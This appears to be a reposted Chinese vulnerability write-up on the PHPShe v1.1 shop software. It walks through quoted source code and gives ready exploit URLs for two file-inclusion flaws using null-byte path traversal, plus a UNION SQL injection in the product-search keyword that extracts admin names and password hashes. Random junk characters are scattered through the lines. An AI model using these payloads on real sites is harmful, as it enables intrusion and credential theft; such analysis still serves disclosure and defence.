phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
8 G& a/ H, r* g! i$ `+ x/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
5 i2 @3 w7 W  c7 Q4 ~0×00 整体大概参数传输

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# {2 R: ^! Z1 [6 Y) J. R" y  k# K//common.php
6 q6 T& N3 G6 o; u! S! nif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
+ B. q1 V: T1 c; C!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
6 r' w, `( ^. Q. x}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
# i$ s; q, f5 a) H4 A4 Z
0×01 包含漏洞
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, B: m; t  \: `' @* o  Z//首页文件
1 y2 _+ ?+ l( S# w( D. ?% D* @<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
9 Q! P5 {9 c( V+ Qpe_result();
4 F' Z% Q0 Y2 p) ^?>
+ w/ ?8 Y0 n" Q% O- |, ?" w//common 文件 第15行开始
. J/ M) q+ @0 R% s6 e& Z; ^url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
+ t/ |0 i3 Z4 ^; O- r% e2 |$sqlwhere = " and `product_state` = 1";
  G' Z2 A) ~1 K/ ppe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
# O5 R- v: `' S* V}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
" W0 o* d6 w3 Y; R, i. cif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
3 E3 q. g& Q4 z5 J, {8 Celse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
! x9 n2 }- P3 {. s' l$ `$ F$product_hotlist = product_hotlist();
) ^9 L, I1 K8 E% n; F* L//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
4 r' I6 m( t" F. h0 x* Ginclude(pe_tpl('product_list.html'));
7 c9 s- Y6 c' U9 e1 Q* y3 I7 c1 E//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
6 t% X4 y# |* r/ Z{
- j+ J  o9 \$ Y) X//处理条件语句
$sqlwhere = $this->_dowhere($where);
' g0 Q/ ?/ ]8 S$ E8 f. @$ D( t4 Kreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2
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* ?% y( p$ {$ U; a<code id="code3">

//order.php

case 'pay':

! @" F6 X, G/ h4 `& ~! J  ]$order_id = pe_dbhold($_g_id);

& c. S: Z& W- Z: ^+ i( m2 X6 Z$cache_payway = cache::get('payway');

. P4 t. S3 Q2 c$ \3 n! cforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

; m3 ?, H) n, ?) t- P) I& Z$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

! ?. d* W! X  }" D/ X9 N( ~}

}

0 c, _0 K5 _& s$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

0 m3 F, O5 Z7 J, ~3 p! ^!$order['order_id'] && pe_error('订单号错误...');

( C! V4 g3 p- N  ~if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

' O5 k7 V( g' Y5 S( U' G$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

% r! l/ X, [! W# b( r$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

0 V$ @% E% `& qelse {

8 I, g, r" x' o+ s3 Mpe_error('支付错误...');

3 I$ i; u2 J  N}

}

' q2 `1 C$ T& O6 I6 V2 n2 F$seo = pe_seo('选择支付方式');

1 p. x' a: N+ N4 kinclude(pe_tpl('order_pay.html'));

! W; [1 Q: Q+ d( k0 ~7 qbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
, K6 c3 }) ?* ?8 @http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg